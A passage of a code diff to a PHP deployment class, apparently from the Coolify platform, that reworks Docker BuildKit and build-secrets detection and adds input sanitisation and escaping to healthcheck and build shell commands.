["DOCKER_BUILDKIT=1 docker build --help 2>&1 | grep -q '\\-\\-progress' && echo 'supported' || echo 'not-supported'"], $serverToCheck ); if (trim($buildkitTest) === 'supported') { $this->dockerBuildkitSupported = true; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit secrets support detected on {$serverName}."); - $this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.'); + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit support detected on {$serverName}."); } else { $this->dockerBuildkitSupported = false; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not have BuildKit secrets support."); - $this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.'); + $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} on {$serverName} does not support BuildKit. Build output progress will be limited."); } - } else { - // Buildx is available, which means BuildKit is available - // Now specifically test for secrets support + } + + // If build secrets are enabled and BuildKit is available, verify --secret flag support + if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported) { $secretsTest = instant_remote_process( ["docker build --help 2>&1 | grep -q 'secret' && echo 'supported' || echo 'not-supported'"], $serverToCheck ); if (trim($secretsTest) === 'supported') { - $this->dockerBuildkitSupported = true; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with BuildKit and Buildx detected on {$serverName}."); + $this->dockerSecretsSupported = true; $this->application_deployment_queue->addLogEntry('Build secrets are enabled and will be used for enhanced security.'); } else { - $this->dockerBuildkitSupported = false; - $this->application_deployment_queue->addLogEntry("Docker {$dockerVersion} with Buildx on {$serverName}, but secrets not supported."); - $this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but not supported. Using traditional build arguments.'); + $this->dockerSecretsSupported = false; + $this->application_deployment_queue->addLogEntry("Docker on {$serverName} does not support build secrets. Using traditional build arguments."); } } } catch (\Exception $e) { $this->dockerBuildkitSupported = false; + $this->dockerSecretsSupported = false; $this->application_deployment_queue->addLogEntry("Could not detect BuildKit capabilities on {$serverName}: {$e->getMessage()}"); - $this->application_deployment_queue->addLogEntry('Build secrets feature is enabled but detection failed. Using traditional build arguments.'); } } @@ -571,12 +568,13 @@ private function deploy_dockerimage_buildpack() private function deploy_docker_compose_buildpack() { if (data_get($this->application, 'docker_compose_location')) { - $this->docker_compose_location = $this->application->docker_compose_location; + $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { - $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); + $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; + $this->docker_compose_custom_start_command = str($this->docker_compose_custom_start_command)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); } } if (data_get($this->application, 'docker_compose_custom_build_command')) { @@ -632,7 +630,7 @@ private function deploy_docker_compose_buildpack() // For raw compose, we cannot automatically add secrets configuration // User must define it manually in their docker-compose file - if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) { + if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { $this->application_deployment_queue->addLogEntry('Build secrets are configured. Ensure your docker-compose file includes build.secrets configuration for services that need them.'); } } else { @@ -653,7 +651,7 @@ private function deploy_docker_compose_buildpack() } // Add build secrets to compose file if enabled and BuildKit is supported - if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) { + if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { $composeFile = $this->add_build_secrets_to_compose($composeFile); } @@ -689,8 +687,6 @@ private function deploy_docker_compose_buildpack() // Inject build arguments after build subcommand if not using build secrets if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); - // Escape single quotes for bash -c context used by executeInDocker - $build_args_string = str_replace("'", "'\\''", $build_args_string); // Inject build args right after 'build' subcommand (not at the end) $original_command = $build_command; @@ -702,9 +698,17 @@ private function deploy_docker_compose_buildpack() } } - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true], - ); + try { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$build_command}"), 'hidden' => true], + ); + } catch (\RuntimeException $e) { + if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) { + throw new DeploymentException("Custom build command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_build_command}"); + } + + throw $e; + } } else { $command = "{$this->coolify_variables} docker compose"; // Prepend DOCKER_BUILDKIT=1 if BuildKit is supported @@ -721,8 +725,6 @@ private function deploy_docker_compose_buildpack() if (! $this->application->settings->use_build_secrets && $this->build_args instanceof \Illuminate\Support\Collection && $this->build_args->isNotEmpty()) { $build_args_string = $this->build_args->implode(' '); - // Escape single quotes for bash -c context used by executeInDocker - $build_args_string = str_replace("'", "'\\''", $build_args_string); $command .= " {$build_args_string}"; $this->application_deployment_queue->addLogEntry('Adding build arguments to Docker Compose build command.'); } @@ -768,9 +770,18 @@ private function deploy_docker_compose_buildpack() ); $this->write_deployment_configurations(); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true], - ); + + try { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->workdir} && {$start_command}"), 'hidden' => true], + ); + } catch (\RuntimeException $e) { + if (str_contains($e->getMessage(), "matching `'") || str_contains($e->getMessage(), 'unexpected EOF')) { + throw new DeploymentException("Custom start command failed due to shell syntax error. Please check your command for special characters (like unmatched quotes): {$this->docker_compose_custom_start_command}"); + } + + throw $e; + } } else { $this->write_deployment_configurations(); $this->docker_compose_location = '/docker-compose.yaml'; @@ -795,9 +806,15 @@ private function deploy_docker_compose_buildpack() ); $this->write_deployment_configurations(); - $this->execute_remote_command( - [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true], - ); + if ($this->preserveRepository) { + $this->execute_remote_command( + ['command' => "cd {$server_workdir} && {$start_command}", 'hidden' => true], + ); + } else { + $this->execute_remote_command( + [executeInDocker($this->deployment_uuid, "cd {$this->basedir} && {$start_command}"), 'hidden' => true], + ); + } } else { $command = "{$this->coolify_variables} docker compose"; if ($this->preserveRepository) { @@ -831,7 +848,7 @@ private function deploy_dockerfile_buildpack() $this->server = $this->build_server; } if (data_get($this->application, 'dockerfile_location')) { - $this->dockerfile_location = $this->application->dockerfile_location; + $this->dockerfile_location = $this->validatePathField($this->application->dockerfile_location, 'dockerfile_location'); } $this->prepare_builder_image(); $this->check_git_if_build_needed(); @@ -1800,7 +1817,8 @@ private function health_check() $counter = 1; $this->application_deployment_queue->addLogEntry('Waiting for healthcheck to pass on the new container.'); if ($this->full_healthcheck_url && ! $this->application->custom_healthcheck_found) { - $this->application_deployment_queue->addLogEntry("Healthcheck URL (inside the container): {$this->full_healthcheck_url}"); + $healthcheckLabel = $this->application->health_check_type === 'cmd' ? 'Healthcheck command' : 'Healthcheck URL'; + $this->application_deployment_queue->addLogEntry("{$healthcheckLabel} (inside the container): {$this->full_healthcheck_url}"); } $this->application_deployment_queue->addLogEntry("Waiting for the start period ({$this->application->health_check_start_period} seconds) before starting healthcheck."); $sleeptime = 0; @@ -2116,7 +2134,7 @@ private function check_git_if_build_needed() executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), 'hidden' => true, 'save' => 'git_commit_sha', ] @@ -2179,7 +2197,7 @@ private function clone_repository() $this->create_workdir(); $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 {$this->commit} --pretty=%B"), + executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit).' --pretty=%B'), 'hidden' => true, 'save' => 'commit_message', ] @@ -2445,7 +2463,9 @@ private function generate_env_variables() $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { - $this->env_args->put($key, $value); + if (! is_null($value) && $value !== '') { + $this->env_args->put($key, $value); + } }); // For build process, include only environment variables where is_buildtime = true @@ -2758,29 +2778,56 @@ private function generate_local_persistent_volumes_only_volume_names() private function generate_healthcheck_commands() { + // Handle CMD type healthcheck + if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { + $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); + $this->full_healthcheck_url = $command; + + return $command; + } + + // HTTP type healthcheck (default) if (! $this->application->health_check_port) { - $health_check_port = $this->application->ports_exposes_array[0]; + $health_check_port = (int) $this->application->ports_exposes_array[0]; } else { - $health_check_port = $this->application->health_check_port; + $health_check_port = (int) $this->application->health_check_port; } if ($this->application->settings->is_static || $this->application->build_pack === 'static') { $health_check_port = 80; } - if ($this->application->health_check_path) { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path}"; - $generated_healthchecks_commands = [ - "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}{$this->application->health_check_path} > /dev/null || exit 1", - ]; + + $method = $this->sanitizeHealthCheckValue($this->application->health_check_method, '/^[A-Z]+$/', 'GET'); + $scheme = $this->sanitizeHealthCheckValue($this->application->health_check_scheme, '/^https?$/', 'http'); + $host = $this->sanitizeHealthCheckValue($this->application->health_check_host, '/^[a-zA-Z0-9.\-_]+$/', 'localhost'); + $path = $this->application->health_check_path + ? $this->sanitizeHealthCheckValue($this->application->health_check_path, '#^[a-zA-Z0-9/\-_.~%]+$#', '/') + : null; + + $url = escapeshellarg("{$scheme}://{$host}:{$health_check_port}".($path ?? '/')); + $method = escapeshellarg($method); + + if ($path) { + $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}{$path}"; } else { - $this->full_healthcheck_url = "{$this->application->health_check_method}: {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/"; - $generated_healthchecks_commands = [ - "curl -s -X {$this->application->health_check_method} -f {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || wget -q -O- {$this->application->health_check_scheme}://{$this->application->health_check_host}:{$health_check_port}/ > /dev/null || exit 1", - ]; + $this->full_healthcheck_url = "{$this->application->health_check_method}: {$scheme}://{$host}:{$health_check_port}/"; } + $generated_healthchecks_commands = [ + "curl -s -X {$method} -f {$url} > /dev/null || wget -q -O- {$url} > /dev/null || exit 1", + ]; + return implode(' ', $generated_healthchecks_commands); } + private function sanitizeHealthCheckValue(string $value, string $pattern, string $default): string + { + if (preg_match($pattern, $value)) { + return $value; + } + + return $default; + } + private function pull_latest_image($image) { $this->application_deployment_queue->addLogEntry("Pulling latest image ($image) from the registry."); @@ -2817,7 +2864,11 @@ private function build_static_image() $nginx_config = base64_encode(defaultNginxConfiguration()); } } - $build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}"; + if ($this->dockerBuildkitSupported) { + $build_command = "DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile --progress plain -t {$this->production_image_name} {$this->workdir}"; + } else { + $build_command = "docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile -t {$this->production_image_name} {$this->workdir}"; + } $base64_build_command = base64_encode($build_command); $this->execute_remote_command( [ @@ -2857,21 +2908,19 @@ private function wrap_build_command_with_env_export(string $build_command): stri private function build_image() { // Add Coolify related variables to the build args/secrets - if ($this->dockerBuildkitSupported) { - // Coolify variables are already included in the secrets from generate_build_env_variables - // build_secrets is already a string at this point - } else { + if (! $this->dockerSecretsSupported) { // Traditional build args approach - generate COOLIFY_ variables locally - // Generate COOLIFY_ variables locally for build args $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { $this->build_args->push("--build-arg '{$key}'"); }); - $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection - ? $this->build_args->implode(' ') - : (string) $this->build_args; } + // Always convert build_args Collection to string for command interpolation + $this->build_args = $this->build_args instanceof \Illuminate\Support\Collection + ? $this->build_args->implode(' ') + : (string) $this->build_args; + $this->application_deployment_queue->addLogEntry('----------------------------------------'); if ($this->disableBuildCache) { $this->application_deployment_queue->addLogEntry('Docker build cache is disabled. It will not be used during the build process.'); @@ -2899,7 +2948,7 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; @@ -2907,9 +2956,8 @@ private function build_image() } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); - ray($build_command); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); } } else { $this->execute_remote_command([ @@ -2919,18 +2967,16 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->workdir}"); } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->build_image_name} {$this->build_args} {$this->workdir}"); } } @@ -2952,7 +2998,7 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; @@ -2963,19 +3009,17 @@ private function build_image() } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3010,7 +3054,11 @@ private function build_image() $nginx_config = base64_encode(defaultNginxConfiguration()); } } - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + if ($this->dockerBuildkitSupported) { + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + } else { + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/Dockerfile {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); + } $base64_build_command = base64_encode($build_command); $this->execute_remote_command( [ @@ -3035,7 +3083,7 @@ private function build_image() } else { // Pure Dockerfile based deployment if ($this->application->dockerfile) { - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; @@ -3044,12 +3092,19 @@ private function build_image() } else { $build_command = "DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}"; } - } else { - // Traditional build with args + } elseif ($this->dockerBuildkitSupported) { + // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + } + } else { + // Traditional build with args (no --progress for legacy builder compatibility) + if ($this->force_rebuild) { + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); + } else { + $build_command = $this->wrap_build_command_with_env_export("docker build --pull {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3079,18 +3134,16 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}"); } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } } else { $this->execute_remote_command([ @@ -3100,18 +3153,16 @@ private function build_image() executeInDocker($this->deployment_uuid, "cat {$this->workdir}/.nixpacks/Dockerfile"), 'hidden' => true, ]); - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the nixpacks Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->workdir}"); } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}/.nixpacks/Dockerfile"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->addHosts} --network host -f {$this->workdir}/.nixpacks/Dockerfile -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3132,7 +3183,7 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); // Use BuildKit with secrets @@ -3144,19 +3195,17 @@ private function build_image() } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets - $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); - $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t {$this->production_image_name} {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t {$this->production_image_name} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t {$this->production_image_name} {$this->workdir}"); } } $base64_build_command = base64_encode($build_command); @@ -3332,7 +3381,7 @@ private function generate_build_env_variables() $this->analyzeBuildTimeVariables($variables); } - if ($this->dockerBuildkitSupported && $this->application->settings->use_build_secrets) { + if ($this->dockerSecretsSupported) { $this->generate_build_secrets($variables); $this->build_args = ''; } else { @@ -3470,8 +3519,8 @@ protected function findFromInstructionLines($dockerfile): array private function add_build_env_variables_to_dockerfile() { - if ($this->dockerBuildkitSupported) { - // We dont need to add build secrets to dockerfile for buildkit, as we already added them with --secret flag in function generate_docker_env_flags_for_secrets + if ($this->dockerSecretsSupported) { + // We dont need to add ARG declarations when using Docker build secrets, as variables are passed with --secret flag return; } @@ -3819,7 +3868,7 @@ private function modify_dockerfiles_for_compose($composeFile) $this->application_deployment_queue->addLogEntry("Service {$serviceName}: All required ARG declarations already exist."); } - if ($this->application->settings->use_build_secrets && $this->dockerBuildkitSupported && ! empty($this->build_secrets)) { + if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { $fullDockerfilePath = "{$this->workdir}/{$dockerfilePath}"; $this->modify_dockerfile_for_secrets($fullDockerfilePath); $this->application_deployment_queue->addLogEntry("Modified Dockerfile for service {$serviceName} to use build secrets."); @@ -3879,6 +3928,18 @@ 